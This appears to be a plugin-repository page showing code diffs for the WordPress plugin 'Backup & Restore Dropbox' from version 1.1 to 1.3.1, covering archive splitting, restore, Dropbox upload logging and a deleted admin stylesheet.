Backup & Restore Dropbox - Version 1.3.1

Version Description

Please, keep your Dropbox Backup and Restore plugin up-to-date.

Download this release

Release Info

Developer backup-dropbox
Plugin Icon 128x128 Backup & Restore Dropbox
Version 1.3.1
Comparing to
See all releases

Code changes from version 1.1 to 1.3.1

Files changed (48) hide show
  1. class-wpadm-method-class.php +0 -26
  2. commands/class-wpadm-command-archive.php +49 -44
  3. commands/class-wpadm-command-restore-backup.php +5 -6
  4. commands/class-wpadm-command-send-to-dropbox.php +6 -4
  5. css/admin-style-wpadm.css +0 -702
  6. dropbox-backup.php +15 -10
  7. functions/wpadm.php +136 -0
  8. img/dropbox.png +0 -0
  9. img/stars-5.png +0 -0
  10. wpadm-logo.png → img/wpadm-logo.png +0 -0
  11. img/wpadmload.gif +0 -0
  12. libs/error.class.php +40 -0
  13. libs/lang.class.php +106 -0
  14. libs/wpadm.server.main.class.php +904 -0
  15. main/wpadm-class-wp.php +599 -0
  16. methods/class-wpadm-method-backup-delete.php +27 -27
  17. methods/class-wpadm-method-backup-list.php +44 -44
  18. methods/class-wpadm-method-backup.php +406 -450
  19. methods/class-wpadm-method-full-backup-dropbox.php +67 -44
  20. methods/class-wpadm-method-local-backup.php +158 -111
  21. methods/class-wpadm-method-local-restore.php +43 -24
  22. methods/class-wpadm-method-queue-controller.php +5 -16
  23. methods/class-wpadm-method-send-to-dropbox.php +20 -18
  24. methods/class-wpadm-method-update.php +5 -4
  25. modules/class-wpadm-archive.php +41 -41
  26. modules/class-wpadm-command-context.php +31 -27
  27. class-wpadm-command.php → modules/class-wpadm-command.php +0 -0
  28. class-wpadm-core.php → modules/class-wpadm-core.php +52 -22
  29. modules/class-wpadm-method-class.php +41 -0
  30. modules/class-wpadm-mysqldump.php +95 -174
  31. modules/class-wpadm-queue.php +3 -3
  32. class-wpadm-result.php → modules/class-wpadm-result.php +116 -116
  33. modules/constant.php +49 -0
  34. errorHandler.php → modules/errorHandler.php +0 -0
  35. readme.txt +258 -14
  36. template/css/admin-style-wpadm.css +992 -0
  37. template/css/folder.png +0 -0
  38. template/css/icon-folder-open.gif +0 -0
  39. template/dropbox_pro_logo_box1.png +0 -0
  40. template/js/admin-wpadm.js +68 -0
  41. template/js/jquery.arcticmodal-0.3.css +8 -0
  42. template/js/jquery.arcticmodal-0.3.min.js +22 -0
  43. template/not-ok.png +0 -0
  44. template/notice.php +8 -0
  45. template/ok-icon.png +0 -0
  46. template/ok.png +0 -0
  47. template/wpadm_show_backup.php +1269 -0
  48. wpadm.php +0 -249
class-wpadm-method-class.php DELETED
@@ -1,26 +0,0 @@
1
- <?php
2
-
3
-
4
- if (!class_exists('WPAdm_Method_Class')) {
5
- abstract class WPAdm_Method_Class {
6
- /**
7
- * @var mixed
8
- */
9
- protected $params;
10
-
11
- /**
12
- * @var WPAdm_result
13
- */
14
- protected $result;
15
-
16
- /**
17
- * @param mixed $params
18
- */
19
- public function __construct($params) {
20
- $this->params = $params;
21
- $this->result = new WPAdm_Result();
22
- }
23
-
24
- abstract function getResult();
25
- }
26
- }
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
commands/class-wpadm-command-archive.php CHANGED
@@ -1,45 +1,50 @@
1
- <?php
2
-
3
-
4
- class WPadm_Command_Archive extends WPAdm_Сommand{
5
- public function execute(WPAdm_Command_Context $context)
6
- {
7
- require_once WPAdm_Core::getPluginDir() . '/modules/class-wpadm-archive.php';
8
- $af = $this->getArchiveName($context->get('to_file'));
9
- $archive = new WPAdm_Archive($af, $context->get('to_file') . '.md5');
10
- $archive->setRemovePath($context->get('remove_path'));
11
- $files = $context->get('files');
12
-
13
- // если привышен максимальный размер архива, создадим новый
14
- if (file_exists($af) && filesize($af) > $context->get('max_file_size')) {
15
- //WPAdm_Core::log(filesize($af) . ', max=' . $context->get('max_file_size'));
16
- $af = $this->getNextArchiveName($context->get('to_file'));
17
- unset($archive);
18
- $archive = new WPAdm_Archive($af, $context->get('to_file') . '.md5');
19
- $archive->setRemovePath($context->get('remove_path'));
20
- }
21
- //WPAdm_Core::log('Add to archive ' . $af);
22
- $archive->add(implode(',', $files));
23
- return true;
24
- }
25
-
26
- private function getArchiveName($name)
27
- {
28
- $archives = glob("{$name}-*.zip");
29
- if (empty($archives)) {
30
- return "{$name}-1.zip";
31
- }
32
- $n = count($archives);
33
- $f = "{$name}-{$n}.zip";
34
- //$f = array_pop($archives);
35
- return $f;
36
- }
37
-
38
- private function getNextArchiveName($name)
39
- {
40
- $arhives = glob("{$name}-*.zip");
41
- $n = 1 + count($arhives);
42
- $a = "{$name}-{$n}.zip";
43
- return $a;
44
- }
 
 
 
 
 
45
  }
1
+ <?php
2
+
3
+
4
+ class WPadm_Command_Archive extends WPAdm_Сommand{
5
+ public function execute(WPAdm_Command_Context $context)
6
+ {
7
+ require_once WPAdm_Core::getPluginDir() . '/modules/class-wpadm-archive.php';
8
+ $af = $this->getArchiveName($context->get('to_file'));
9
+ $archive = new WPAdm_Archive($af, $context->get('to_file') . '.md5');
10
+ $archive->setRemovePath($context->get('remove_path'));
11
+ $files = $context->get('files');
12
+ if ( !file_exists( $af ) ) {
13
+ WPAdm_Core::log(langWPADM::get('Create part ', false) . basename( $af ) );
14
+ }
15
+ if (file_exists($af) && filesize($af) > $context->get('max_file_size')) {
16
+ $af = $this->getNextArchiveName($context->get('to_file'));
17
+ unset($archive);
18
+ if ( !file_exists( $af ) ) {
19
+ WPAdm_Core::log(langWPADM::get('Create part ', false) . basename( $af ) );
20
+ }
21
+ $archive = new WPAdm_Archive($af, $context->get('to_file') . '.md5');
22
+ $archive->setRemovePath($context->get('remove_path'));
23
+ }
24
+ $archive->add(implode(',', $files));
25
+ return true;
26
+ }
27
+ private function checkFolder($name)
28
+ {
29
+
30
+ }
31
+
32
+ private function getArchiveName($name)
33
+ {
34
+ $archives = glob("{$name}-*.zip");
35
+ if (empty($archives)) {
36
+ return "{$name}-1.zip";
37
+ }
38
+ $n = count($archives);
39
+ $f = "{$name}-{$n}.zip";
40
+ return $f;
41
+ }
42
+
43
+ private function getNextArchiveName($name)
44
+ {
45
+ $archives = glob("{$name}-*.zip");
46
+ $n = 1 + count($archives);
47
+ $a = "{$name}-{$n}.zip";
48
+ return $a;
49
+ }
50
  }
commands/class-wpadm-command-restore-backup.php CHANGED
@@ -10,7 +10,7 @@ if (!class_exists('WPadm_Command_Restore_Backup')) {
10
  $file = $context->get('file');
11
  $is_dump = $file && strpos($file, "mysqldump.sql");
12
 
13
- WPAdm_Core::log( "Decompression Archive " . basename($context->get('zip_file')) );
14
  if ($is_dump !== false) {
15
  $inzip = str_replace(ABSPATH, "", $file);
16
  $file_in_zip = $this->archive->extract(PCLZIP_OPT_BY_NAME, $inzip);
@@ -19,8 +19,8 @@ if (!class_exists('WPadm_Command_Restore_Backup')) {
19
  }
20
 
21
  if ($file_in_zip == 0) {
22
- WPAdm_Core::log( "ERROR Archived: " . $this->archive->errorInfo(true) );
23
- $context->setError( "ERROR Archived: " . $this->archive->errorInfo(true));
24
  return false;
25
  }
26
  //WPAdm_Core::log(print_r($file_in_zip, 1));
@@ -40,10 +40,9 @@ if (!class_exists('WPadm_Command_Restore_Backup')) {
40
  }
41
  }
42
  }
43
-
44
  } else {
45
- $context->setError("File Archive Not Exist " . $context->get('zip_file'));
46
- WPAdm_Core::log( "File Archive Not Exist " . $context->get('zip_file') );
47
  return false;
48
  }
49
  return true;
10
  $file = $context->get('file');
11
  $is_dump = $file && strpos($file, "mysqldump.sql");
12
 
13
+ WPAdm_Core::log( "Data decompression " . basename($context->get('zip_file')) );
14
  if ($is_dump !== false) {
15
  $inzip = str_replace(ABSPATH, "", $file);
16
  $file_in_zip = $this->archive->extract(PCLZIP_OPT_BY_NAME, $inzip);
19
  }
20
 
21
  if ($file_in_zip == 0) {
22
+ WPAdm_Core::log( langWPADM::get("Website \"%d\" returned an error during archive extracting: ", false, "%d", SITE_HOME) . $this->archive->errorInfo(true) );
23
+ $context->setError( langWPADM::get("Website \"%d\" returned an error during archive extracting: ", false, "%d", SITE_HOME) . $this->archive->errorInfo(true) );
24
  return false;
25
  }
26
  //WPAdm_Core::log(print_r($file_in_zip, 1));
40
  }
41
  }
42
  }
 
43
  } else {
44
+ $context->setError( langWPADM::get("Website \"%d\" returned an error: The necessary file of archive \"%f\" wasn't found ", false, array('%d', '%f'), array(SITE_HOME, $context->get('zip_file') ) ) );
45
+ WPAdm_Core::log( langWPADM::get("Website \"%d\" returned an error: The necessary file of archive \"%f\" wasn't found ", false, array('%d', '%f'), array(SITE_HOME, $context->get('zip_file') ) ) );
46
  return false;
47
  }
48
  return true;
commands/class-wpadm-command-send-to-dropbox.php CHANGED
@@ -8,11 +8,13 @@ if (!class_exists('WPadm_Command_Send_To_Dropbox')) {
8
  @session_start();
9
  require_once WPAdm_Core::getPluginDir() . '/modules/dropbox.class.php';
10
 
11
- WPAdm_Core::log('Send Files to Dropbox');
12
  $dropbox = new dropbox($context->get('key'), $context->get('secret'), $context->get('token'));
13
 
14
  if (!$dropbox->isAuth()) {
15
- $context->setError("Error auth in Dropbox");
 
 
16
  return false;
17
  }
18
  $files = $context->get('files');
@@ -33,11 +35,11 @@ if (!class_exists('WPadm_Command_Send_To_Dropbox')) {
33
  $toFile = str_replace('//', '/', $folder_project . $context->get('folder') . '/' . $file_name);
34
  $res = $dropbox->uploadFile($fromFile, $toFile);
35
  if (isset($res['error']) && isset($res['text']) && $res['error'] == 1) {
36
- $context->setError("Dropbox error: " . $res['text']);
37
  return false;
38
  }
39
  if (isset($res['size']) && isset($res['client_mtime'])) {
40
- WPAdm_Core::log("file upload: " . $files . " size: " . $res['size']);
41
  }
42
  return true;
43
  }
8
  @session_start();
9
  require_once WPAdm_Core::getPluginDir() . '/modules/dropbox.class.php';
10
 
11
+ WPAdm_Core::log( langWPADM::get('Send to dropbox files' , false) );
12
  $dropbox = new dropbox($context->get('key'), $context->get('secret'), $context->get('token'));
13
 
14
  if (!$dropbox->isAuth()) {
15
+ $context->setError( langWPADM::get('Website "%d" can\'t authorize on Dropbox with using of "app key: %k" and "app secret: %s"' , false,
16
+ array('%d', '%k', '%s'),
17
+ array( SITE_HOME, $context->get('key'), $context->get('secret') ) ) );
18
  return false;
19
  }
20
  $files = $context->get('files');
35
  $toFile = str_replace('//', '/', $folder_project . $context->get('folder') . '/' . $file_name);
36
  $res = $dropbox->uploadFile($fromFile, $toFile);
37
  if (isset($res['error']) && isset($res['text']) && $res['error'] == 1) {
38
+ $context->setError( langWPADM::get('Dropbox returned an error during file sending: ' , false) . '"' . $res['text'] . '"');
39
  return false;
40
  }
41
  if (isset($res['size']) && isset($res['client_mtime'])) {
42
+ WPAdm_Core::log( langWPADM::get('File upload: ' , false) . basename( $files ) . langWPADM::get(' size: ' , false) . $res['size']);
43
  }
44
  return true;
45
  }
css/admin-style-wpadm.css DELETED
@@ -1,702 +0,0 @@
1
-
2
- .wpadm-notice {
3
- background: #fff;
4
- border-left: 4px solid #dd3d36;
5
- box-shadow: 0 1px 1px 0 rgba(0, 0, 0, 0.1);
6
- font-size: 16px;
7
- overflow: hidden;
8
- position: relative;
9
- text-align: left;
10
- clear: both;
11
- height: 60px;
12
- margin-top: 15px;
13
- width: 95%;
14
- }
15
- .button-link {
16
- background:none!important;
17
- border:none;
18
- padding:0!important;
19
- font: inherit;
20
- color:#0074a2;
21
- border-bottom:1px solid #0074a2;
22
- padding-bottom: 1px;
23
- cursor: pointer;
24
- line-height: 15px;
25
- }
26
- .button-link:hover {
27
- color:#2ea2cc;
28
- border-bottom:1px solid #2ea2cc;
29
- }
30
- .wpadm-notice div.registr {
31
- margin-top : 20px;
32
- font-size: 16px;
33
- margin-left: 15px;
34
- }
35
-
36
- .form-counter {
37
- background: #0096d6;
38
- border: 1px solid #fff;
39
- width: 95%;
40
- margin-bottom: 20px;
41
- margin-top: 20px;
42
- color:#fff;
43
- }
44
-
45
- .form-counter table tr td{
46
- padding: 10px;
47
- }
48
- .color-picker {
49
- margin:10px;
50
- }
51
- .stat_title {
52
- text-align: center;
53
- font-size: 24px;
54
- margin-top: 20px;
55
- }
56
- .cfTabsContainer {
57
- background-color: #0096d6;
58
- overflow: hidden;
59
- width:95%;
60
- padding: 15px;
61
- margin-bottom: 40px;
62
- margin-top: 30px;
63
- -webkit-font-smoothing: antialiased;
64
- }
65
-
66
-
67
- .button-wpadm {
68
- background: none repeat scroll 0 0 #00d2b8;
69
- border-color: #cdcdcd;
70
- box-shadow: 0 1px 0 #00d2b8 inset, 0 1px 0 rgba(0, 0, 0, 0.08);
71
- color: #fff;
72
- vertical-align: top;
73
- border-radius: 3px;
74
- border-style: solid;
75
- border-width: 1px;
76
- box-sizing: border-box;
77
- cursor: pointer;
78
- display: inline-block;
79
- font-size: 13px;
80
- height: 28px;
81
- line-height: 26px;
82
- margin: 0;
83
- padding: 0 10px 1px;
84
- text-decoration: none;
85
- white-space: nowrap;
86
- }
87
- .wpadm-info {
88
- font-size: 15px;
89
- width: 30%;
90
- margin-top:10px;
91
- margin-left: 20px;
92
- margin-bottom: 20px;
93
- border-left: 1px solid #fff;
94
- padding-left:20px;
95
- padding-top: 20px;
96
- height:200px;
97
- }
98
- .wpadm-info-title {
99
- text-align:center;
100
- padding:5px;
101
- color:#fff;
102
- font-size:20px;
103
- }
104
- .wpadm-registr-info {
105
- width: 65%;
106
- }
107
- .wpadm-registr-info label {
108
- color:#fff;
109
- }
110
- .wpadm-plugins-info {
111
- width: 95%;
112
- }
113
- .services-info {
114
- background: #fff; width: 95%; margin-top: 20px;
115
- }
116
- .title-services {
117
- text-align: center; font-size: 20px; font-weight: 800; padding-bottom: 30px; padding-top: 20px;
118
- }
119
-
120
- .tmpl_line_body {
121
- float: left;
122
- margin: 0;
123
- padding: 0;
124
- position: relative;
125
- width: 100%;
126
- }
127
- .wpadm-info-auth {
128
- font-size: 11px;
129
- padding-left:20px;
130
- height:30px;
131
- color:#fff;
132
- margin-top: -5px;
133
- }
134
- #header_navigation_line {
135
- background-color: #21759b;
136
- background-image: linear-gradient(to bottom, #2a95c5, #21759b);
137
- box-shadow: 0 2px 7px 2px rgba(50, 50, 50, 0.5);
138
- height: 68px;
139
- left: 0;
140
- top: 0;
141
- z-index: 1000;
142
- }
143
- #header_navigation_line #main_menu ul li {
144
- display: inline-block;
145
- float: none;
146
- font-size: 14px;
147
- font-weight: bold;
148
- list-style: outside none none;
149
- margin: 0;
150
- padding: 0;
151
- text-shadow: 0 1px 0 rgba(0, 0, 0, 0.1);
152
- }
153
- .inline {
154
- float:left;
155
- margin-top:10px;
156
- margin-left:10px;
157
- }
158
- #header_navigation_line #main_menu ul li a {
159
- background: -moz-linear-gradient(center top , #2e9ed2 5%, #21749b 100%) repeat scroll 0 0 #2e9ed2;
160
- border: 1px solid #1b5f7f;
161
- border-radius: 3px;
162
- box-shadow: 1px 1px 0 0 #78c9e6 inset;
163
- color: #dddddd;
164
- display: inline-block;
165
- float: left;
166
- height: 43px;
167
- line-height: 16px;
168
- margin: 0 2px 0 0;
169
- overflow: hidden;
170
- padding: 5px 0;
171
- text-decoration: none;
172
- width: 90px;
173
- }
174
- #header_navigation_line #main_menu ul li:hover a {
175
- background-image: linear-gradient(to bottom, #2fb1e5, #22759c);
176
- color: #fff;
177
- }
178
- #header_navigation_line #main_menu {
179
- float: left;
180
- margin: 6px 0 0;
181
- width: 100%;
182
- }
183
- #header_navigation_line #logo {
184
- float: left;
185
- left: 0;
186
- position: absolute;
187
- top: 9px;
188
- width: auto;
189
- }
190
- #header_navigation_line #main_menu ul {
191
- float: left;
192
- list-style: outside none none;
193
- margin: 0 0 0 20px;
194
- padding: 0;
195
- text-align: center;
196
- width: 100%;
197
- }
198
- #header_navigation_line #main_menu ul li .nav_icon {
199
- float: left;
200
- height: 24px;
201
- margin: 0;
202
- padding: 0 0 3px;
203
- width: 100%;
204
- }
205
- #header_navigation_line #main_menu ul li.active a, #header_navigation_line #main_menu ul li a:active {
206
- background-image: linear-gradient(to bottom, #2cc4f5, #228bb4);
207
- border: 1px solid #fff;
208
- box-shadow: 0 1px 0 rgba(95, 157, 186, 0.6);
209
- color: #fff;
210
- }
211
- .clear {
212
- clear:both;
213
- }
214
- .plugins-info {
215
- width:320px;
216
- }
217
- .plugin-box {
218
- background: #0096d6;
219
- border: 1px solid #e5e5e5;
220
- box-shadow: 0 1px 1px rgba(0, 0, 0, 0.04);
221
- min-width: 255px;
222
- position: relative;
223
- line-height: 1;
224
- margin-bottom: 20px;
225
- padding: 0;
226
- }
227
-
228
- .plugins-info-content {
229
- display:none;
230
- border-top: 1px solid #fff;
231
- margin-top:8px;
232
- padding-top: 7px;
233
- }
234
- h3.plugins-title {
235
- font-size: 14px;
236
- line-height: 1.4;
237
- margin: 0;
238
- }
239
- .plugins-title a {
240
- color:#fff;
241
- text-decoration: none;
242
-
243
- }
244
- .wpadm-registr-info, .wpadm-info, .wpadm-info-auth {
245
- float:left;
246
- color:#fff;
247
- }
248
- .button-wpadm:hover {
249
- border-color:#cdcdcd;
250
- background-color: #009583;
251
- }
252
- .wpadm-red:hover {
253
- border-color:#737373 ;
254
- background-color: #ff706c;
255
- }
256
- .wpadm-red {
257
- background: none repeat scroll 0 0 #f21111;
258
- border-color: #c7c6ce;
259
- box-shadow: 0 1px 0 #ff2c26 inset, 0 1px 0 rgba(0, 0, 0, 0.08);
260
- }
261
- .info-detail {
262
- background:#bee7e7;
263
- }
264
- .table {
265
- margin:0px;padding:0px;
266
- width:100%;
267
- border:0px;
268
- border-collapse: collapse;
269
- border-spacing: 0;
270
- width:100%;
271
- height:100%;
272
- border: 1px solid #b7c6ff;
273
- border-radius: 3px;
274
- margin-top: 60px;
275
-
276
- }
277
- .table th {
278
- padding: 7px;
279
- background-color:#dde4ff;
280
- font-size:16px;
281
-
282
- }
283
- .table td {
284
- background: #fff;
285
- font-size: 14px;
286
- padding: 5px 0;
287
- border-bottom:1px solid #b7c6ff;
288
- text-align: center;
289
- }
290
- .info-path td {
291
- font-size: 11px;
292
- padding:0px;
293
- }
294
- .table tr:last td {
295
-
296
- border-bottom: 0px;
297
- }
298
- .header-table {
299
- font-size:20px;
300
- }
301
-
302
- .stat {
303
- width: 200px;
304
- }
305
-
306
- .w1{
307
- width:5%;
308
- }
309
- .w2{
310
- width:13%;
311
- }
312
- .w3{
313
- width:7%;
314
- }
315
- .table-stat-moovdiv {
316
- background: none repeat scroll 0 0 #FFFFFF;
317
- border-spacing: 0;
318
- box-shadow: 0 4px 4px rgba(0, 0, 0, 0.3);
319
- left: 0px;
320
- margin-top: 0;
321
- padding: 10px 15px;
322
- top: 0px;
323
- width: 400px;
324
- }
325
-
326
- .table-stat-moovdiv tr td{
327
- border-right: 0px;
328
- margin-bottom: 1px;
329
- margin-top: 1px;
330
- padding-bottom: 1px;
331
- padding-top: 1px;
332
- border-bottom:1px solid #D6D6D6;
333
- padding: 5px;
334
- }
335
-
336
- #page_item {
337
- margin-bottom:3px;
338
- float:left;
339
- }
340
- .block-export {
341
- float: right;
342
- margin-right: 20px;
343
- }
344
- .info {
345
- width: 70%;
346
- border: 0;
347
- }
348
- .info tr {
349
- border-style: hidden;
350
- }
351
- .info tr td{
352
- border-style: hidden;
353
- padding: 5px;
354
- text-align:left;
355
- }
356
- .chart-box {
357
- background: #fff;
358
- border:1px solid #cccccc;
359
- border-radius:3px;
360
- margin-top:25px;
361
- }
362
- .chart-box-title {
363
- color:#575757;
364
- border-bottom: 1px solid #cccccc;
365
- font-size: 18px;
366
- padding:10px;
367
- }
368
- .charts {
369
- padding:5px;
370
- padding-top: 15px;
371
- }
372
- .form-account {
373
- margin-top: 30px;
374
- margin-bottom : 40px;
375
- border:5px solid #fff;
376
- background: #ffffa5;
377
- padding: 10px;
378
- height: auto;
379
- overflow:hidden;
380
- }
381
- .form-account-title {
382
- margin-bottom: 20px;
383
- font-size: 22px;
384
- }
385
- .form-account-block {
386
- margin-left: 20px;
387
- float:left;
388
- width: 40%;
389
- }
390
- .form-account-login {
391
- margin-top: 10px;
392
- margin-bottom : 40px;
393
- border:5px solid #fff;
394
- background: #ffffa5;
395
- padding: 3px;
396
- height: auto;
397
- overflow:hidden;
398
- }
399
-
400
- .form-account-block-login {
401
- margin-left: 10px;
402
- width: 90%;
403
-
404
- }
405
- .form-account-info {
406
- float:left;
407
- width: 50%;
408
- margin-left: 20px;
409
- }
410
- .b_2 {
411
- background: url("button_ok.png") no-repeat scroll 0 0 rgba(0, 0, 0, 0);
412
- color: #464646;
413
- font-family: Arial,Helvetica,sans-serif;
414
- font-size: 18px;
415
- left: 12px;
416
- padding-left: 30px;
417
- top: 60px;
418
- padding-top: 4px;
419
- padding-bottom : 5px;
420
- }
421
- .b-3 {
422
- font-size: 22px;
423
- }
424
- .form-account-button {
425
- margin-top: 21px;
426
- }
427
- .label-form {
428
- margin-left: 6px;
429
- font-size: 16px;
430
- }
431
- .last {
432
- line-height: 18px;
433
- margin-top: 9px;
434
- }
435
- .progress {
436
- height: 20px;
437
- background: #ebebeb;
438
- border-left: 1px solid transparent;
439
- border-right: 1px solid transparent;
440
- border-radius: 10px;
441
- }
442
- .progress > span {
443
- position: relative;
444
- float: left;
445
- margin: 0 -1px;
446
- min-width: 30px;
447
- height: 18px;
448
- line-height: 16px;
449
- text-align: right;
450
- background: #cccccc;
451
- border: 1px solid;
452
- border-color: #bfbfbf #b3b3b3 #9e9e9e;
453
- border-radius: 10px;
454
- background-image: -webkit-linear-gradient(top, #f0f0f0, #dbdbdb 70%, #cccccc);
455
- background-image: -moz-linear-gradient(top, #f0f0f0, #dbdbdb 70%, #cccccc);
456
- background-image: -o-linear-gradient(top, #f0f0f0, #dbdbdb 70%, #cccccc);
457
- background-image: linear-gradient(to bottom, #f0f0f0, #dbdbdb 70%, #cccccc);
458
- -webkit-box-shadow: inset 0 1px rgba(255, 255, 255, 0.3), 0 1px 2px rgba(0, 0, 0, 0.2);
459
- box-shadow: inset 0 1px rgba(255, 255, 255, 0.3), 0 1px 2px rgba(0, 0, 0, 0.2);
460
- }
461
- .progress > span > span {
462
- padding: 0 8px;
463
- font-size: 11px;
464
- font-weight: bold;
465
- color: #404040;
466
- color: rgba(0, 0, 0, 0.7);
467
- text-shadow: 0 1px rgba(255, 255, 255, 0.4);
468
- }
469
- .progress > span:before {
470
- content: '';
471
- position: absolute;
472
- top: 0;
473
- bottom: 0;
474
- left: 0;
475
- right: 0;
476
- z-index: 1;
477
- height: 18px;
478
- border-radius: 10px;
479
- }
480
-
481
-
482
-
483
- .stat-form-counter {
484
- background: none repeat scroll 0 0 #0096d6;
485
- color: #fff;
486
- margin-bottom: 20px;
487
- width: 46%;
488
- margin-right: 0;
489
- border: 0;
490
- padding: 3px;
491
- }
492
- .stat-wpadm-registr-info {
493
- color: #fff;
494
- float: left;
495
- width: 57%;
496
- }
497
- .stat-wpadm-registr-info label {
498
- color:#fff;
499
- }
500
- .stat-wpadm-info-title {
501
- color: #fff;
502
- font-size: 20px;
503
- padding :20px 0px;
504
- margin-top:10px;
505
- text-align: center;
506
- }
507
- .stat-table-registr {
508
- margin-top: 20px;
509
- }
510
- .stat-table-registr th, .stat-table-registr td {
511
- padding:5px;
512
- }
513
- .stat-wpadm-info {
514
- width: 37%; margin-left: 9px; height:100%; padding-top: 0px; margin-top:20px;
515
- color: #fff;
516
- float: left;
517
- border-left: 1px solid #fff;
518
- font-size: 12px;
519
- margin-bottom: 20px;
520
- padding-left: 20px;
521
- }
522
- .block-button-show {
523
- padding:11px 18px; cursor: pointer; text-align: center;
524
- }
525
- .block-button-show .block-click {
526
- padding-top: 10px;
527
- font-size: 16px;
528
- border-top:1px solid #fff;
529
- }
530
- .stat-setting {
531
- border-left:1px solid #fff;
532
- margin-right: 0px;
533
- }
534
- #stat-title-setting{
535
- font-size: 20px;
536
- margin-top: 10px;
537
- padding: 20px 0;
538
- text-align: center;
539
- }
540
- #preview-image {
541
- height: 105px; float: left; margin-right: 10px; margin-top:45px;
542
- }
543
- #preview-image .block-preview-image {
544
- padding: 10px; border: 1px solid #fff; margin-left: 10px; margin-top:20px; width: 90px; text-align: center;
545
- }
546
- #preview-image .title-preveiw-image {
547
- font-size: 16px; position: absolute;margin-top: -28px; margin-left: 7px;background: #0096d6; padding: 3px;
548
- }
549
- #preview-image .image-block {
550
- display: table;
551
- }
552
- .image-block .image-block-in {
553
- display: table-cell; vertical-align: middle;
554
- }
555
- .image-block-in img {
556
- float: left;margin-top:7px;
557
- margin-left: 2px;
558
- }
559
- .image-block-in .text-image-counter {
560
- float: left;
561
- padding-left:3px;
562
- font-size: 8px;
563
- font-weight: 600;
564
- }
565
- #setting-form .info-block {
566
- float: left; margin: 5px 0px 0px; width:74%;
567
- }
568
- #setting-form .first-info-block {
569
- margin: 20px 0px 0px;
570
- }
571
- .info-block-detail {
572
- float:left;
573
- }
574
- .detail-title {
575
- margin: 0 5px; width: 30%;
576
- }
577
- #setting-form .info-block .details-info {
578
- width: auto;
579
- font-size: 10px;
580
- margin:0px;
581
- }
582
- #setting-form .info-block input[type="text"] {
583
- font-size: 14px;
584
- height: 28px;
585
- }
586
- .info-block .checkbox-info {
587
- width:101px;
588
- text-align:right;
589
- }
590
- .checkbox-info input[type="checkbox"] {
591
- margin-right: 0px;
592
- }
593
- .stat-setting-save {
594
- text-align: center; margin-top: 10px;
595
- }
596
-
597
- /*default style */
598
- @media only screen and (max-width: 960px) {
599
- /*
600
- tablet computer
601
- */
602
- .stat-wpadm-info {
603
- margin-left: 9px; height:100%; padding-top: 0px; margin-top:20px;
604
- color: #fff;
605
- float: none;
606
- clear:both;
607
- border-left: 0px;
608
- border-top:1px solid #fff;
609
- font-size: 10px;
610
- margin-bottom: 10px;
611
- padding-left: 0px;
612
- width:88%;
613
-
614
-
615
- }
616
- .stat-table-registr th, .stat-table-registr td {
617
- padding:2px;
618
- font-size:10px;
619
- }
620
- .stat-table-registr {
621
- margin-top: 10px;
622
- float:none;
623
- }
624
- .form-table th {
625
- line-height: 10px;
626
- }
627
- .stat-table-registr input {
628
- font-size: 10px;
629
- height: 20px;
630
- line-height: 10px;
631
- }
632
- .stat-form-counter {
633
- font-size:10px;
634
- margin-right:5px;
635
- }
636
- #setting-form .info-block {
637
- width:60%;
638
- }
639
- #preview-image {
640
- height: 105px;
641
- float: left;
642
- margin-right: 10px;
643
- }
644
- .detail-title {
645
- margin: 0 5px; width:auto;
646
- }
647
- #setting-form .info-block .details-info {
648
- width: auto;
649
- font-size: 8px;
650
- float:none;
651
- clear:both;
652
- line-height: 8px;
653
- margin-bottom:5px;
654
-
655
- }
656
- .info-block .checkbox-info {
657
- width:28px;
658
- }
659
- #setting-form .info-block input[type="text"] {
660
- font-size:12px;
661
- height: 20px;
662
- }
663
- .minicolors-theme-default.minicolors-position-right .minicolors-input {
664
- padding-right: 10px;
665
- }
666
-
667
- .minicolors-theme-default .minicolors-swatch {
668
- height: 18px;
669
- left: 5px;
670
- top: 1px;
671
- width: 18px;
672
- }
673
-
674
- }
675
- @media only screen and (max-width: 1124px) {
676
- .stat-form-counter {
677
- font-size:10px;
678
- margin-right:3.5%;
679
- }
680
- #setting-form .info-block {
681
- width:55%;
682
- }
683
- #preview-image {
684
- height: 105px;
685
- float: left;
686
- margin-right: 10px;
687
- margin-top:40px;
688
- }
689
- .info-block input[type="text"] {
690
- font-size:12px;
691
- height: 20px;
692
- }
693
-
694
- }
695
- @media only screen and (max-width: 758px) {
696
- /*
697
- vertical tablet computer
698
- */
699
- }
700
- @media only screen and (max-width: 524px) {
701
- /*phone*/
702
- }
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
